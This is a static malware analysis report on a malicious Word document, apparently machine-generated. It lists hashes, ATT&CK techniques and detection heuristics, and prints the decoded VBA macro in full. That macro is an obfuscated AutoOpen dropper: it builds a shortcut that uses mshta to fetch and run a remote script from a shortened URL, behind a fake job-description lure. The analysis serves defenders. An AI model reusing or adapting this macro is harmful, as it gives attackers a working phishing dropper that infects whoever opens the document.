Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1533374acf886bc3…

MALICIOUS

Office (OLE)

284.0 KB Created: 2019-01-07 13:11:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 2d27e4aa3315c7b49ce5edd1a3fb5485 SHA-1: 8af1c8c44d321209492c0c73c8ae25f8265833d4 SHA-256: 1533374acf886bc3015c4cba3da1c67e67111c22d00a8bbf7694c5394b91b9fc
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that uses CreateObject to execute a command. The macro constructs a shortcut file at 'C:\Users\Public\EXT.LNK' which, when executed, runs a script from the URL 'http://bit.ly/2O9lrNT'. This indicates the document is a dropper designed to download and execute a second-stage payload. The document body presents a fake job description to entice the user to open the malicious document.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-9504253-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-9504253-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.blockverify.com In document text (OLE body)
    • https://www.BlockVerify.comIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1824 bytes
SHA-256: ef58f61225f52b6f7693a6ebd4ec2df35989e063d1dee986b2d27033afd6ca8b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim SHStr As String
    Dim FilePath As String
    Dim ExPath As String
    FilePath = "C"
    SHStr = "scr"
    ExPath = "Lorer "
    FilePath = FilePath & ":" & "\Use" & "rs\Pub"
    SHStr = "W" & SHStr
    WW = "Save"
    ExPath = "EXP" & ExPath
    SHStr = SHStr & "ipt."
    StrLP = "/"
    WW = WW & "As"
    StrLP = StrLP & "C START"
    SHStr = SHStr & "She"
    FilePath = FilePath & "lic\EXT." & "LN"
    SHStr = SHStr & "ll"
    StrRn = "MD"
    StrLP = StrLP & " /"
    Set ObjShl = CreateObject(SHStr)
    FilePath = FilePath & "K"
    Set Sht = ObjShl.CreateShortcut(FilePath)
    StrRn = "C" & StrRn
    Sht.TargetPath = StrRn
    StrName = "P" & "R"
    StrTemp = "HT" & "A htt"
    StrTemp = StrTemp & "ps:/"
    Sht.Arguments = StrLP & "B MS" & StrTemp & "/bit" & "." & "ly/2O9lrNT"
    Sht.Save
    StrName = "G" & "D" & StrName
    ViewDocument StrName
    ObjShl.Run ExPath & FilePath
End Sub

Sub ViewDocument(StrName)
    On Error Resume Next
    Dim ObjectPic As Shape
    ActiveDocument.ActiveWindow.View.Type = wdPrintView
    ActiveDocument.ActiveWindow.View.ReadingLayout = False
    For Each ObjectPic In ActiveDocument.Shapes
        If ObjectPic.AlternativeText = StrName Then
            ObjectPic.Delete
        End If
    Next ObjectPic
    ActiveDocument.Content.Font.Size = 14
    ActiveDocument.Content.Font.Hidden = False
    ActiveDocument.Content.Font.Color = 0
End Sub